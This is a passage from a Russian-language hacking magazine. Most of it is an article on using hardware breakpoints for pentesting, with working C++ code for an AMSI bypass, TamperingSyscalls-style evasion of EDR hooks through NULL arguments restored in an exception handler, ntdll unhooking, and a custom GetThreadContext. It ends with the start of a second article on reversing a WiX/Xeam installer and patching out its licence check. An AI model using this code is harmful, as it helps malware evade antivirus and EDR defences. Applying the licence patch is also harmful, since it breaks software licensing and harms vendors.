LONG WINAPI Handler(PEXCEPTION_POINTERS exceptionInfo)


{
if (exceptionInfo->ExceptionRecord->ExceptionCode ==
STATUS_SINGLE_STEP) {
std::cout << "Unhandled exception occurred!" << std::endl;

// Проверка, что реально наш бряк сработал


if (exceptionInfo->ContextRecord->Dr0 == exceptionInfo->
ContextRecord->Rip || exceptionInfo->ContextRecord->Dr1 ==
exceptionInfo->ContextRecord->Rip || exceptionInfo->ContextRecord->
Dr2 == exceptionInfo->ContextRecord->Rip || exceptionInfo->
ContextRecord->Dr3 == exceptionInfo->ContextRecord->Rip) {
std::cout << "[-] Breakpoint triggered 0x" << std::hex <<
exceptionInfo->ExceptionRecord->ExceptionAddress << std::endl;
std::cout << "[!] Exception Code 0x" << std::hex << exceptionInfo
->ExceptionRecord->ExceptionCode << std::endl;
std::cout << "[!] RIP 0x" << std::hex << exceptionInfo->
ContextRecord->Rip << std::endl;
std::cout << "[!] RAX 0x" << std::hex << exceptionInfo->
ContextRecord->Rax << std::endl;
std::cout << "[!] RCX 0x" << std::hex << exceptionInfo->
ContextRecord->Rcx << std::endl;
std::cout << "[!] RDX 0x" << std::hex << exceptionInfo->
ContextRecord->Rdx << std::endl;
}

exceptionInfo->ContextRecord->EFlags |= (1 << 16);


return EXCEPTION_CONTINUE_EXECUTION;

}
// Вернем EXCEPTION_CONTINUE_SEARCH, чтобы передать исключение
дальше
return EXCEPTION_CONTINUE_SEARCH;
}

Использовать в своей программе этот код проще простого. Вот пример.

#include <iostream>
#include <windows.h>

LONG WINAPI Handler(PEXCEPTION_POINTERS exceptionInfo)


{
if (exceptionInfo->ExceptionRecord->ExceptionCode ==
STATUS_SINGLE_STEP) {
std::cout << "Unhandled exception occurred!" << std::endl;

// Проверка того, что наш бряк реально сработал


if (exceptionInfo->ContextRecord->Dr0 == exceptionInfo->
ContextRecord->Rip || exceptionInfo->ContextRecord->Dr1 ==
exceptionInfo->ContextRecord->Rip || exceptionInfo->ContextRecord->
Dr2 == exceptionInfo->ContextRecord->Rip || exceptionInfo->
ContextRecord->Dr3 == exceptionInfo->ContextRecord->Rip) {
std::cout << "[-] Breakppint triggered " << std::hex <<
exceptionInfo->ExceptionRecord->ExceptionAddress << std::endl;
std::cout << "[!] Exception Code " << std::hex << exceptionInfo->
ExceptionRecord->ExceptionCode << std::endl;
std::cout << "[!] RIP " << std::hex << exceptionInfo->
ContextRecord->Rip << std::endl;
std::cout << "[!] RAX " << std::hex << exceptionInfo->
ContextRecord->Rax << std::endl;
std::cout << "[!] RCX " << std::hex << exceptionInfo->
ContextRecord->Rcx << std::endl;
std::cout << "[!] RDX " << std::hex << exceptionInfo->
ContextRecord->Rdx << std::endl;
std::cout << "[!] R8 " << std::hex << exceptionInfo->ContextRecord
->R8 << std::endl;
std::cout << "[!] R9 " << std::hex << exceptionInfo->ContextRecord
->R9 << std::endl;
std::cout << "[!] RSP " << std::hex << exceptionInfo->
ContextRecord->Rsp << std::endl;
std::cout << "[!] Dr0 " << std::hex << exceptionInfo->
ContextRecord->Dr0 << std::endl;
}

exceptionInfo->ContextRecord->EFlags |= (1 << 16);


return EXCEPTION_CONTINUE_EXECUTION;

}
// Вернем EXCEPTION_CONTINUE_SEARCH, чтобы передать исключение
дальше
return EXCEPTION_CONTINUE_SEARCH;
}

VOID SetHWBP(LPVOID address, BOOL setBP, int regnumber) {


CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &context);
// Почему-то бряк, если адрес записывать в регистры, отличные от
Dr0, не срабатывает
std::string registerNames[] = { "Dr0", "Dr1", "Dr2", "Dr3" };
if (setBP) {
DWORD64* registers[] = { &context.Dr0, &context.Dr1, &context.Dr2,
&context.Dr3 };
if (regnumber >= 0 && regnumber < 4) {
*registers[regnumber] = (DWORD64)address;
std::cout << "Writing Address to " << registerNames[regnumber] <<
std::endl;
}
else {
std::wcout << L"Invalid Registry Number" << std::endl;
exit(-1);
}
// Установка бита 1 в DR7 для активации DR0
context.Dr7 |= 1;
// Установка битов 16–17 в DR7 для типа точки останова (Execute)
context.Dr7 |= (0b00 << 16);
// Установка битов 18–19 в DR7 для длины точки останова (1 byte)
context.Dr7 |= (0b00 << 18);
}
else {
context.Dr0 = 0;
context.Dr1 = 0;
context.Dr2 = 0;
context.Dr3 = 0;
context.Dr7 &= ~(1 << 0);
}

context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(GetCurrentThread(), &context);
}
int main()
{

if (AddVectoredExceptionHandler(1, Handler) == nullptr)


{
std::cout << "Failed to set the vectored exception filter!" << std:
:endl;
return 1;
}
// Адрес функции printf
void* targetAddress = (void*)printf;
SetHWBP(targetAddress, TRUE, 0);

// Генерация сигнала точки останова


printf("Hello, world!");

return 0;
}

Здесь был установлен HWBP по адресу функции printf(). Как только сис-
тема дошла до вызова этой функции, сработало исключение, вызвался обра-
ботчик исключений, вывел содержимое регистров, а затем вернул управле-
ние на функцию, что привело к появлению в консоли Hello, world!.

Сработавший HWBP

Теперь мы научились ставить бряки. Как же их использовать для пентестер-


ских целей?

ÎÁÕÎÄ AMSI

У AMSI есть функция AmsiScanBuffer(), которая служит для сканирования


буфера на предмет наличия зловредов. Ничто нам не мешает поставить
HWBP на эту функцию, перехватить поток управления и заставить функцию
вернуть AMSI_RESULT_CLEAN. Этот метод уже давно известен, и код лежит
на GitHub.
Причем, если нам не подходит реализация на C++, есть на C#, проект
называется SharpBlock. Он патчит AMSI и ETW, используя хардверные
брейк-пойнты. Для этого вынесен отдельный метод EnableBreakpoint().

Отдельный метод

Обрати внимание, что в зависимости от архитектуры используются разные


методы. Если у нас х86, то адрес следует конвертировать с помощью метода
<addr>.ToInt32(), а когда в х64, то <addr>.ToInt64().

Функция EnableBreakpoint для х86

Функция EnableBreakpoint для х64

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ИСПОЛЬЗУЕМ ХАРДВЕРНЫЕ БРЕЙК-ПОЙНТЫ


В ПЕНТЕСТЕРСКИХ ЦЕЛЯХ

ÈÇÂËÅ×ÅÍÈÅ ÍÎÌÅÐΠÑÈÑÊÎËÎÂ

Сисколы позволяют напрямую обратиться к ядру операционной системы, что


поможет избежать хуков в user mode. Подробно сисколы я рассматривал
в материале «Врата ада. Переписываем Hell’s Gate и обходим антивирус».
Сейчас же предлагаю обратить внимание на проект TamperingSyscalls. Этот
проект использует UEF для извлечения номеров сисколов. Сначала просто
ставится функция-обработчик.

SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );

Следом идет поиск адреса Nt* функции и установка бряка на адрес syscall
этой функции. Для этого точка останова ставится непосредственно на саму
инструкцию. Адрес инструкции находится стандартным сканированием
памяти на паттерны (а именно на последовательность байтов 0f05).

LPVOID FindSyscallAddress( LPVOID function )


{
BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
return (LPVOID)((DWORD_PTR)function + i);
}
}
return NULL;
}

Когда адрес найден, на него устанавливается хардверный брейк-пойнт


с помощью следующей функции:

VOID SetOneshotHardwareBreakpoint( LPVOID address )


{
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext( GetCurrentThread(), &context );

context.Dr0 = (DWORD64)address;
context.Dr6 = 0;
context.Dr7 = (context.Dr7 & ~(((1 << 2) - 1) << 16)) | (0 << 16);
context.Dr7 = (context.Dr7 & ~(((1 << 2) - 1) << 18)) | (0 << 18);
context.Dr7 = (context.Dr7 & ~(((1 << 1) - 1) << 0)) | (1 << 0);

context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext( GetCurrentThread(), &context );

return;
}

Например, если мы хотим засисколить функцию NtMapViewOfSection(), то


сначала генерируем нужный код с помощью файла gen.py.

python gen.py NtMapViewOfSection

Это приведет к созданию трех файлов: TamperingSyscalls.cpp,


TamperingSyscalls.h и main.cpp. Включаем файлы в проект, после чего
подключаем заголовочный.

#include "TamperingSyscalls.h"

И вызываем нужные функции, просто добавляя p к имени.

pNtMapViewOfSection( section, NtCurrentProcess(), &addr, 0, 0, NULL,


&size, 1, 0, PAGE_READONLY );

Внутри сгенерированной функции идет получение адреса


NtMapViewOfSection() из ntdll.dll.

NTSTATUS pNtMapViewOfSection( HANDLE SectionHandle, HANDLE


ProcessHandle, PVOID BaseAddress, ULONG ZeroBits, SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD
InheritDisposition, ULONG AllocationType, ULONG Win32Protect ) {
LPVOID FunctionAddress;
NTSTATUS status;
hash( NtMapViewOfSection );
FunctionAddress = GetProcAddrExH( hashNtMapViewOfSection, hashNTDLL
); typeNtMapViewOfSection fNtMapViewOfSection;

pNtMapViewOfSectionArgs.SectionHandle = SectionHandle;
pNtMapViewOfSectionArgs.ProcessHandle = ProcessHandle;
pNtMapViewOfSectionArgs.BaseAddress = BaseAddress;
pNtMapViewOfSectionArgs.ZeroBits = ZeroBits;
pNtMapViewOfSectionArgs.CommitSize = CommitSize;
pNtMapViewOfSectionArgs.SectionOffset = SectionOffset;
pNtMapViewOfSectionArgs.ViewSize = ViewSize;
pNtMapViewOfSectionArgs.InheritDisposition = InheritDisposition;
pNtMapViewOfSectionArgs.AllocationType = AllocationType;
pNtMapViewOfSectionArgs.Win32Protect = Win32Protect;
fNtMapViewOfSection = (typeNtMapViewOfSection)FunctionAddress;

EnumState = NTMAPVIEWOFSECTION_ENUM;

SetOneshotHardwareBreakpoint( FindSyscallAddress( FunctionAddress )


);
status = fNtMapViewOfSection( NULL, NULL, NULL, NULL,
pNtMapViewOfSectionArgs.CommitSize, pNtMapViewOfSectionArgs.
SectionOffset, pNtMapViewOfSectionArgs.ViewSize,
pNtMapViewOfSectionArgs.InheritDisposition, pNtMapViewOfSectionArgs.
AllocationType, pNtMapViewOfSectionArgs.Win32Protect );
return status;
}

Для получения адреса используется техника API Hashing, которую я демонс-


трировал в статье «Веселые хеши. Реализуем технику API Hashing, чтобы
обдурить антивирус». Хеш считается с помощью одноименного макроса.

#define hash( VAL ) constexpr auto CONCAT( hash, VAL ) = HASHALGO(


TOKENIZE( VAL ) );

Далее инициализируются все элементы структуры NtMapViewOfSectionArgs:

typedef struct {
HANDLE SectionHandle;
HANDLE ProcessHandle;
PVOID BaseAddress;
ULONG ZeroBits;
SIZE_T CommitSize;
PLARGE_INTEGER SectionOffset;
PSIZE_T ViewSize;
DWORD InheritDisposition;
ULONG AllocationType;
ULONG Win32Protect;
} NtMapViewOfSectionArgs;

Эта структура содержит информацию обо всех аргументах функции


NtMapViewOfSection, которые будут применяться в дальнейшем.
Затем устанавливается специальное значение EnumState, благодаря
которому отладчик сможет понять, бряк на какую функцию сработал. Наконец,
происходит непосредственно вызов Nt-функции, адрес которой был получен
ранее.

status = fNtMapViewOfSection( NULL, NULL, NULL, NULL,


pNtMapViewOfSectionArgs.CommitSize, pNtMapViewOfSectionArgs.
SectionOffset, pNtMapViewOfSectionArgs.ViewSize,
pNtMapViewOfSectionArgs.InheritDisposition, pNtMapViewOfSectionArgs.
AllocationType, pNtMapViewOfSectionArgs.Win32Protect );

Обрати внимание, что первыми четырьмя параметрами мы передаем NULL.


Именно эти параметры, скорее всего, будет анализировать антивирус
до выполнения инструкции syscall. Но мы на их место передаем NULL, что
сбивает антивирус с толку: он не может принять решение, легитимный
это вызов или нет, в результате чего пропускает вызов. Фактически таким
образом мы обошли потенциальный хук.

Зачем нужны NULL-параметры

Восстановление параметров происходит как раз таки в функции-обработчике


HWBP.

LONG WINAPI OneShotHardwareBreakpointHandler( PEXCEPTION_POINTERS


ExceptionInfo )
{
if( ExceptionInfo->ExceptionRecord->ExceptionCode ==
STATUS_SINGLE_STEP )
{
if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
// If the ExceptionInfo->ContextRecord->Rip == ExceptionInfo->
ContextRecord->Dr0
// Then we are at the one shot breakpoint address
// ExceptionInfo->ContextRecord->Rax should hold the syscall
number
PRINT( "Syscall : 0x%x\n", ExceptionInfo->ContextRecord->Rax );
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->
ContextRecord->Dr0 ) {
ExceptionInfo->ContextRecord->Dr0 = 0;

// You need to fix your arguments in the right registers and stack
here
switch( EnumState ) {
// RCX moved into R10!!! Kudos to @anthonyprintup for catching this
case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->SectionHandle;

ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->ProcessHandle;

ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->BaseAddress;

ExceptionInfo->ContextRecord->R9 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->ZeroBits;

break;

case NTUNMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtUnmapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->ProcessHandle;

ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtUnmapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->BaseAddress;

break;

case NTOPENSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))
->SectionHandle;

ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))
->DesiredAccess;

ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))
->ObjectAttributes;

break;

// You have messed up by not providing the indexed state


default:
ExceptionInfo->ContextRecord->Rip += 1; // Just so we don’t hang
break;
}
return EXCEPTION_CONTINUE_EXECUTION;
}
}
}
return EXCEPTION_CONTINUE_SEARCH;
}

Сначала эта функция проверяет, что исключение действительно хардверное.


Для этого происходит сравнение со значением STATUS_SINGLE_STEP, об этой
проверке я рассказывал выше.
Далее система проверяет, что хардверный брейк-пойнт был включен (дол-
жно быть значение 1 у Dp7). Следующим шагом из регистра Rax извлекается
номер сискола, который был туда занесен. После чего проверяем, что адрес
следующей выполняемой инструкции (syscall) действительно лежит в Dp0,
то есть установленный на нее бряк действительно сработал. После чего
HWBP снимается и начинается проверка значения EnumState, которое ини-
циализировали ранее. Это нужно для корректной инициализации всех
параметров функции. Если все прошло успешно, срабатывает бряк, а за
ним — EXCEPTION_CONTINUE_EXECUTION, что приводит к выполнению сискола
с нужными нам параметрами. Фактически мы «пробрасываем параметры»
в обход EDR.
Похожая техника применяется и в HWSyscalls, есть даже отдельный
шелл-код-лоадер.

ÀÍÕÓÊÈÍÃ

Хардверные бряки — очень полезная штука! Их можно использовать и для


снятия хуков в юзермоде. Для этого нужно предварительно создать дочерний
процесс, став для него дебаггером. После этого установить HWBP на фун-
кцию LdrLoadDll(). Эта функция вызывается при загрузке DLL в процесс,
на ее основе я написал собственную LoadLibrary() — подробнее в статье
«Молчи и скрывайся. Прячем IAT от антивируса».
Далее остается лишь проверять имена загружаемых DLL, разрешая под-
грузку только ntdll.dll. Убедившись, что отлаживаемый процесс загрузил
ntdll.dll, мы копируем ее содержимое в свой собственный процесс
и перезаписываем ntdll.dll нашего текущего процесса, что и приводит
к анхукингу. Техника называется BlindSide, существует готовый PoC.

Алгоритм снятия хуков

ÏÈØÅÌ ÊÀÑÒÎÌÍÛÉ GETTHREADCONTEXT()

Мне кажется, мы недостаточно хорошо прошлись по параметрам, которые


прилетают в функцию-обработчик. Что ж, исправляюсь. Функция-обработчик
принимает структуру CONTEXT, содержащую информацию о значении всех
регистров потока. Но проблема в том, что регистры х64 отличаются от регис-
тров х86, поэтому есть также структура WOW64_CONTEXT, где хранятся зна-
чения регистров у программ для x86.
Мы можем использовать эти данные для получения структуры CONTEXT,
чтобы избежать подозрительной функции GetThreadContext(). Вот пример
кода.

#include <iostream>
#include <Windows.h>

#ifdef _WIN64
void ShowContext(CONTEXT ctx) {
std::cout << "Context values:" << std::endl;
std::cout << "P1Home: " << ctx.P1Home << std::endl;
std::cout << "P2Home: " << ctx.P2Home << std::endl;
std::cout << "P3Home: " << ctx.P3Home << std::endl;
std::cout << "P4Home: " << ctx.P4Home << std::endl;
std::cout << "P5Home: " << ctx.P5Home << std::endl;
std::cout << "P6Home: " << ctx.P6Home << std::endl;
std::cout << "ContextFlags: " << ctx.ContextFlags << std::endl;
std::cout << "MxCsr: " << ctx.MxCsr << std::endl;
std::cout << "SegCs: " << ctx.SegCs << std::endl;
std::cout << "SegDs: " << ctx.SegDs << std::endl;
std::cout << "SegEs: " << ctx.SegEs << std::endl;
std::cout << "SegFs: " << ctx.SegFs << std::endl;
std::cout << "SegGs: " << ctx.SegGs << std::endl;
std::cout << "SegSs: " << ctx.SegSs << std::endl;
std::cout << "EFlags: " << ctx.EFlags << std::endl;
std::cout << "Dr0: " << ctx.Dr0 << std::endl;
std::cout << "Dr1: " << ctx.Dr1 << std::endl;
std::cout << "Dr2: " << ctx.Dr2 << std::endl;
std::cout << "Dr3: " << ctx.Dr3 << std::endl;
std::cout << "Dr6: " << ctx.Dr6 << std::endl;
std::cout << "Dr7: " << ctx.Dr7 << std::endl;
std::cout << "Rax: " << ctx.Rax << std::endl;
std::cout << "Rcx: " << ctx.Rcx << std::endl;
std::cout << "Rdx: " << ctx.Rdx << std::endl;
std::cout << "Rbx: " << ctx.Rbx << std::endl;
std::cout << "Rsp: " << ctx.Rsp << std::endl;
std::cout << "Rbp: " << ctx.Rbp << std::endl;
std::cout << "Rsi: " << ctx.Rsi << std::endl;
std::cout << "Rdi: " << ctx.Rdi << std::endl;
std::cout << "R8: " << ctx.R8 << std::endl;
std::cout << "R9: " << ctx.R9 << std::endl;
std::cout << "R10: " << ctx.R10 << std::endl;
std::cout << "R11: " << ctx.R11 << std::endl;
std::cout << "R12: " << ctx.R12 << std::endl;
std::cout << "R13: " << ctx.R13 << std::endl;
std::cout << "R14: " << ctx.R14 << std::endl;
std::cout << "R15: " << ctx.R15 << std::endl;
std::cout << "Rip: " << ctx.Rip << std::endl;
}
#endif
void ShowContext32(CONTEXT ctx) {
std::cout << "Context values:" << std::endl;
std::cout << "ContextFlags: " << ctx.ContextFlags << std::endl;
std::cout << "Dr0: " << ctx.Dr0 << std::endl;
std::cout << "Dr1: " << ctx.Dr1 << std::endl;
std::cout << "Dr2: " << ctx.Dr2 << std::endl;
std::cout << "Dr3: " << ctx.Dr3 << std::endl;
std::cout << "Dr6: " << ctx.Dr6 << std::endl;
std::cout << "Dr7: " << ctx.Dr7 << std::endl;
std::cout << "SegGs: " << ctx.SegGs << std::endl;
std::cout << "SegFs: " << ctx.SegFs << std::endl;
std::cout << "SegEs: " << ctx.SegEs << std::endl;
std::cout << "SegDs: " << ctx.SegDs << std::endl;
std::cout << "Edi: " << ctx.Edi << std::endl;
std::cout << "Esi: " << ctx.Esi << std::endl;
std::cout << "Ebx: " << ctx.Ebx << std::endl;
std::cout << "Edx: " << ctx.Edx << std::endl;
std::cout << "Ecx: " << ctx.Ecx << std::endl;
std::cout << "Eax: " << ctx.Eax << std::endl;
std::cout << "Ebp: " << ctx.Ebp << std::endl;
std::cout << "Eip: " << ctx.Eip << std::endl;
std::cout << "SegCs: " << ctx.SegCs << std::endl;
std::cout << "EFlags: " << ctx.EFlags << std::endl;
std::cout << "Esp: " << ctx.Esp << std::endl;
std::cout << "SegSs: " << ctx.SegSs << std::endl;
}

LONG WINAPI Handler(PEXCEPTION_POINTERS ExceptionInfo) {


std::cout << "[+] GetThreadContext Result:" << std::endl;
static int value = 0;
value += 1;
#ifdef _WIN64
PCONTEXT ctx = ExceptionInfo->ContextRecord;
ShowContext(*ctx);
#else
PCONTEXT ctx = ExceptionInfo->ContextRecord;
ShowContext32(*ctx);
#endif

if (value == 2) {
value = 0;
return EXCEPTION_CONTINUE_SEARCH;
}
else {
return EXCEPTION_CONTINUE_EXECUTION;
}
}

void CustomGetThreadContext() {
AddVectoredExceptionHandler(1, Handler);

try {
throw "exception";
}
catch (...) {
RemoveVectoredExceptionHandler(Handler);
return;
}
}

int main() {
CustomGetThreadContext();
return 0;
}

ÑÒÀÂÈÌ ÕÓÊÈ

Наконец, самое сочное — установка хуков. Алгоритм не отличается ровным


счетом ничем. Умельцы давно реализовали в виде милой DLL-библиотеки,
мне остается лишь приложить ссылку на PoC.

ÂÛÂÎÄÛ

Использование аппаратных точек останова в пентестерских целях — очень


необычное и смелое решение, которое встречается редко. Самое главное —
грамотно обрабатывать исключения, которые ты сам себе делаешь. Ведь
если что-то забудешь обработать, то твоя программа упадет и придется все
запускать заново.
ВЗЛОМ

ИССЛЕДУЕМ ИНСТАЛЛЯТОР
WINDOWS INSTALLER XML
TOOLSET

Инсталляторы бывают разные: и попроще,


и посложнее. Иногда среди них попадаются
уж совсем навороченные — их исследова-
ние превращается в настоящее прик-
лючение. Сегодня мы рассмотрим именно МВК

такой случай: разберемся, как устроен


изнутри инсталлятор WiX.

В своих статьях я неоднократно затрагивал инсталляторы и среды для их раз-


работки. Эта тема обширна и неисчерпаема, поскольку для удобства и прос-
тоты над базовыми системами инсталляции были созданы надстройки,
над которыми разработчики соорудили другие надстройки, и так далее.
В итоге сам инсталлятор по сложности и красоте интерфейса (к сожалению,
и размеру) иногда не уступает инсталлируемому пакету, а разборка и реверс
его вызывает профессиональный интерес и доставляет настоящее удоволь-
ствие. Пример исследования одного из подобных инсталляторов мы и рас-
смотрим в сегодняшней статье.

Статья написана в исследовательских целях, име-


ет ознакомительный характер и предназначена
для специалистов по безопасности. Автор
и редакция не несут ответственности за любой
вред, причиненный с применением изложенной
информации. Использование или распростра-
нение ПО без лицензии производителя может
преследоваться по закону.

Итак, у нас имеется инсталлятор для некоего технического пакета, оформлен-


ный в виде весьма увесистого (размером в несколько гигабайтов) самодос-
таточного EXE-файла. Интерфейс у инсталлятора продвинутый и стильный, он
не похож на визуальное представление ни одного из встречавшихся нам
до этого стандартных инсталляционных пакетов. Здесь много элементов
управления, которые шустро переключают странички по мере заполнения,
приближая начало установки программы. Но вот беда — в определенный
момент инсталлятор начинает требовать лицензию, без которой упорно
не желает переходить на следующий экран.

Мы уже встречались с подобным поведением программ установки в предыду-


щих статьях. Однако в этот раз выяснилось, что программа содержит все неп-
риятные фичи, присущие инсталляторам:
1. Из весьма увесистого EXE-файла исполняемым является только крохот-
ный и совершенно неинформативный загрузчик.
2. Владелец процесса тоже относительно небольшой EXE-файл, запущенный
из системной папки временных файлов.
3. Перед нами не хорошо изученные msiexec или InstallShield, а что-то иное.

Попытавшись приаттачиться к запущенному процессу при помощи x64dbg,


мы видим, что код явно скомпилирован в процессе исполнения. Этот код
до боли напоминает .NET, что косвенно подтверждается наличием в памяти
процесса загруженных дотнетовских библиотек (clr.dll, clrjit.dll,
mscoree.dll и так далее). Однако ни сам инсталлятор, ни исполняемый файл
из временной папки .NET-приложениями не являются.
Дотнетовский отладчик dnSpy хоть и распознает процесс как родной
и даже успешно коннектится к нему, но никакого дотнетовского кода при этом
не показывает и трассировать приложение не дает. В принципе, дотнетов-
ские проекты с закрытым кодом мы уже учились потрошить в статьях «Не-
ядерный реактор. Взламываем протектор .NET Reactor» и «Ангард! Реверсим
приложение, защищенное DNGuard», однако побережем пока что тяжелую
артиллерию. Попробуем для начала разобраться, с чем именно мы столкну-
лись на этот раз. Необходимую зацепку нам дает Detect It Easy.

Очевидно, и сам инсталлятор, и временный файл распознаются DIE как WiX


Toolset installer с оверлеем Microsoft Cabinet File (CAB). Про CAB, в принципе,
можно было бы догадаться по сигнатуре 4D534346 (MSCF) у оверлеев, но это
нам еще пригодится чуть позже.
А пока попробуем вспомнить, что такое WiX и чем именно это знание
может помочь в дальнейшем анализе приложения. Это слово из трех букв
расшифровывается как Windows Installer XML Toolset и представляет собой
(как следует из названия) набор инструментов для создания инсталляци-
онных пакетов на основе XML-описания. Если тебе интересно узнать попод-
робнее про этот пакет, ты можешь ознакомиться с его особенностями, нап-
ример, в статье на «Хабрахабре».
Хоть автор и плачется по поводу плохой документированности пакета,
информация о нем в открытом доступе есть, и много. Возможно, я ког-
да-нибудь и сам напишу статью об особенностях внутреннего формата этого
типа инсталляторов, но тема нашей сегодняшней статьи лежит в иной плос-
кости.
Cуть в том, что основное достоинство технологии WiX в ее расширяемос-
ти — несмотря на наличие своих собственных интерфейсных шаблонов, в ней
имеется возможность подключить кастомный интерфейс пользователя,
написанный на .NET (Custom Bootstrapper Application). Что мы и наблюдаем
в нашем приложении. Как самому создавать подобные интерфейсы, можно
узнать в статье Writing Your Own .Net-based Installer with WiX.
Перед нами же стоит прямо противоположная задача — разобраться
с существующим приложением. Для этого его нужно хотя бы разобрать
на составные файлы, и, к счастью, WiX предоставляет для этого необходимый
инструментарий. Для начала заходим на GitHub и качаем оттуда архив
wix311-binaries.zip. Он содержит набор утилит командной строки
для работы с WiX-инсталляторами, из которого для нас представляет интерес
dark.exe — экстрактор файлов из WiX-архива. Пользоваться им не просто,
а очень просто: надо всего-навсего запустить его из командной строки:

dark.exe <имя нашего инсталлятора.exe> -x


<имя каталога, в который будут распаковываться файлы пакета>

После отработки команды в указанном нами каталоге будет создана сложная


система подкаталогов с инсталлируемыми MSI-пакетами, ресурсами и биб-
лиотеками, необходимыми для установки. К великому сожалению,
это работает только в одну сторону. Фарш невозможно провернуть назад,
и собрать обратно из этой солянки инсталляционный EXE будет совсем
не просто, но мы подумаем об этом позже. А сейчас нас интересуют ресурсы
WiX, которые находятся в подпапке UX в корне распакованного каталога.
В частности, особый интерес представляет файл BootstrapperCore.config,
в секции wix.bootstrapper которого (как мы узнали из прочитанной
документации) и содержится имя Custom Bootstrapper Application:

<?xml version="1.0" encoding="utf-8" ?>


<configuration>
<configSections>
<sectionGroup name="wix.bootstrapper" type="Microsoft.Tools.
WindowsInstallerXml.Bootstrapper.BootstrapperSectionGroup,
BootstrapperCore">
<section name="host" type="Microsoft.Tools.WindowsInstallerXml.
Bootstrapper.HostSection, BootstrapperCore" />
</sectionGroup>
</configSections>
<startup useLegacyV2RuntimeActivationPolicy="true">
<supportedRuntime version="v4.0" />
</startup>
<wix.bootstrapper>
<host assemblyName="Xeam.VisualInstaller">
<supportedFramework version="v4\Full" />
<supportedFramework version="v4\Client" />
</host>
</wix.bootstrapper>
</configuration>

Похоже, мы вышли на следующий уровень, ибо Xeam Visual Installer — это еще
одна надстройка над WiX. А именно система создания визуальных инстал-
ляторов для тех, кому не нравятся «скучные обои» встроенных в WiX шаблонов
инсталляционных интерфейсов. Покурив тут же нагугленное руководство
по данному пакету, обнаруживаем, что разбираемый нами инсталлятор —
полностью шаблонное приложение Xeam Visual Installer, заточенное вот
под такой шаблон.

Создатели Xeam Visual Installer избавили своих пользователей от рисования


и программирования интерфейса. Им нужно всего-навсего написать мелкие
процедуры валидации вводимых параметров и переходов между экранами.
Загрузив в dnSpy библиотеку Bootstrapper.Ui.dll из каталога UX и немного
изучив код класса Xeam.VisualInstaller.MainWindow, находим вот такой
валидатор лицензии.

Несмотря на кажущуюся сложность, мы уже научились закорачивать подоб-


ные методы простым двухбайтовым патчем return 1 по смещению файла
0x2750.

Проверить действенность выбранного метода достаточно просто. Приатта-


чившись с помощью x64dbg к инсталлятору и найдя поиском по шаблону
искомый IL-код, патчим нужные два байта в памяти и убеждаемся, что после
окна проверки лицензии переход к следующему окну выполняется без проб-
лем. На этом месте можно было бы и остановиться, установив пакет столь
экзотическим способом. Можно также написать лоадер, на лету патчащий
процесс инсталлятора, но мы пойдем самым сложным путем: будем патчить
инсталляционный пакет.
Как я уже писал, после того как мы разобрали WiX-пакет на составляющие
при помощи dark.exe, нельзя так просто взять и собрать пропатченный
пакет обратно. Поправить пару байтов в самом пакете тоже нельзя, там ком-
прессия. Поэтому придется покопаться во внутренней структуре пакета,
которая, к сожалению, не документирована вообще.
Однако в мире достаточно любопытных энтузиастов, которые озадачи-
вались этой проблемой до нас. В принципе, несложно было бы и самим
разобраться во всем, минут пятнадцать погоняв код загрузчика в отладчике,
но не буду загромождать повествование подробностями, как получать
информацию, а перейду сразу к результату. Если открыть инсталлятор
в каком-нибудь редакторе EXE (например, Hiew), то в его заголовке мы уви-
дим следующие секции:

Number Name VirtSize RVA PhysSize Offset Flag


1 .text 00048FF7 00001000 00049000 00000400
60000020
2 .rdata 0001F760 0004A000 0001F800 00049400
40000040
3 .data 000016FC 0006A000 00000A00 00068C00
C0000040
4 .wixburn 00000038 0006C000 00000200 00069600
40000040
5 .rsrc 0007DECC 0006D000 0007E000 00069800
40000040
6 .reloc 00003DD0 000EB000 00003E00 000E7800
42000040

Обрати внимание на секцию .wixburn, специфическую для каждого WiX-


инсталлятора. Именно по ней, кстати, Detect It Easy и определяет принад-
лежность приложения к этому типу. Перейдя к указанной секции, мы видим
такую последовательность байтов.

Она интерпретируется следующим образом:

0 DD Magic number 0xF14300


4 DD Version 2
8 DB 16 DUP (?) Bundled GUID {3F10D12E-
D4C3-4DE6-EDBD-079DBB81B6A9}
0x18 DD Engine (stub) size 0xEB600
0x1C DD Original checksum 0x1F45150
0x20 DD Original signature offset 0x1F383A8
0x24 DD Original signature size 0x2D78
0x28 DD Container Type (1 = CAB) 1
0x2C DD Container Count 2
0x30 DD Byte count of manifest + UX container 0x1E4CDA2
0x34 DD Byte count of attached container 0x4363C6C9

Попробуем разобраться, что представляют собой эти поля. Engine (stub)


